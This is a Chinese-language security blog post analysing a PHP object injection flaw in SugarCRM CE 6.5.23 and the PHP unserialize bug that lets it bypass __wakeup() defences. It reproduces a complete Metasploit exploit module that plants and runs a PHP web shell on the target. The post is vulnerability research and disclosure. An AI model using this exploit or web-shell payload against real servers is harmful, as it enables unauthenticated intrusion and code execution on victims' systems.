【技术分享】SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

阅读量212746

|

发布时间 : 2016-09-12 10:49:26

http://p6.qhimg.com/t01f525d586855f4503.png

作者:流浪客@ms509安全团队

稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

SugarCRM开源版是一款完全开放源代码的商业开源软件,具有界面活泼、简单易学的特点。美国SugarCRM公司是一间创立于2006年、但迅速在全球范围取得一定影响的客户关系管理软件厂商。其基本的商业策略是 一边销售收费低廉的企业版/专业版软件,获得收益;一边推出免费的、功能较少的开源版软件,培养未来的付费客户、吸引志愿者参加研发。大多数使用该软件的企业,并发用户数在几个到几万个的范围内。


0x00 前言

这个漏洞很有意思,涉及到rayt牛新提交的php底层bug,这个bug导致了sugarCRM的反序列化防御失效。


0x01 反序列中异常对象导致__wakeup()不被执行

php bug(php<=5.6.24):https://bugs.php.net/bug.php?id=72663

1.原理分析

static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
if (ce->serialize == NULL) {
object_init_ex(*rval, ce);  <=== 创建对象
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) {  <=== 创建对象属性
return 0;
}
if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
INIT_PZVAL(&fname);
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC);  <=== 调用 __wakeup()
BG(serialize_lock)--;
}

通过上边代码和标注,可以清晰的认识到,在创建一个对象的过程中由于对象属性创建的时候出现异常导致__wakeup()不被调用直接return 0;

这个过程中属性是被成功创建了,析构函数依旧会被执行,这样就会导致一些安全问题。

2.实际测试

测试代码:

<?php
class test{
    var $wanniba;
    public function __destruct(){
        $this->wanniba = "*__destruct<br />";
echo $this->wanniba;
echo "__destruct OK!<br />";
    }
    public function __wakeup(){
$this->wanniba = "*__wakeup<br />";
echo $this->wanniba;
        echo "__wakeup OK!<br />";
    }
}
#$a = new test();
#echo serialize($a);
 
$payload = 'O:4:"test":1:{s:7:"wanniba";N;}';
$payload1 = 'O:4:"test":1:{s:7:"wanniba";N;s:8:"payload";}';
$abc = unserialize($payload);
$abc1 = unserialize($payload1);

测试结果:

http://p4.qhimg.com/t018805db9c57be0b4d.png

一种为正常情况,一种为异常情况,当我们构造特殊的payload的时候,程序只执行了__destruct()没有执行__wakeup()。


0x02 SugarCRM CE <= 6.5.23 对象注入漏洞

众所周知反序列化代码执行需要两个基本挑战,1.反序列化函数;2.可利用的__wakeup()和__destruct()。

1.代码分析

https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/service/core/REST/SugarRestSerialize.php

http://p6.qhimg.com/t01579d11587c4d4a6f.png

可控参数rest_data,利用函数sugar_unserialize,反序列化代码执行的第一个条件有了。

https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/include/SugarCache/SugarCacheFile.php

 

http://p7.qhimg.com/t011c066b279ee98633.png

可利用函数  __destruct()有了,可以看见上边红框中的内容,开发人员利用__wakeup,在反序列话中会被调用的特性来防治反序列话导致的代码执行漏洞

通过我们上边的分析,可以成功bypass过这个防御,利用 __destruct()中的代码实现漏洞利用。

2.漏洞利用测试

研究人员已经开发好了msf的利用方法:

https://www.exploit-db.com/exploits/40344/

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SugarCRM REST Unserialize PHP Code Execution',
      'Description'    => %q{
        This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
        which could be abused to allow unauthenticated users to execute arbitrary PHP code with
        the permissions of the webserver. The dangerous unserialize() call exists in the
        '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
        method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
      },
      'Author'         => 'EgiX',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://karmainsecurity.com/KIS-2016-07'],
          ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
          ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
          ['URL', 'https://bugs.php.net/bug.php?id=72663']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['SugarCRM CE <= 6.5.23', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 23 2016'
      ))
      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
        ], self.class)
  end
  def exploit
    upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
    payload_serialized =  "O:+14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";"
    payload_serialized << "s:#{upload_php.length+2}:"..#{upload_php}";S:16:"\00*\00"
    payload_serialized << "_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:55"
    payload_serialized << ":"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>";}}"
    print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
    res = send_request_cgi(
    {
      'uri'    => normalize_uri(target_uri.path, 'service/v4/rest.php'),
      'method' => 'POST',
        'vars_post' => {
          'method'     => 'login',
          'input_type' => 'Serialize',
          'rest_data'  => payload_serialized
        }
    })
    if not res or res.code != 200
      print_error("#{peer} - Exploit failed: #{res.code}")
      return
    end
    register_files_for_cleanup(File.basename(upload_php))
    print_status("#{peer} - Executing the payload #{upload_php}")
    res = send_request_cgi(
    {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path, upload_php),
      'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
    })
    if res and res.code != 200
      print_error("#{peer} - Payload execution failed: #{res.code}")
      return
    end
  end
end

0x03 总结

一个php的底层小bug引起的上层php开发中防御措施实效。

引用:

https://bugs.php.net/bug.php?id=72663

https://github.com/php/php-src/blob/PHP-5.6.26/ext/standard/var_unserializer.c

https://www.exploit-db.com/exploits/40344/

https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php

https://packetstormsecurity.com/files/137638/SugarCRM-6.5.23-SugarRestSerialize.php-PHP-Object-Injection.html

本文由赏金流浪客原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/84549

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
赏金流浪客
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66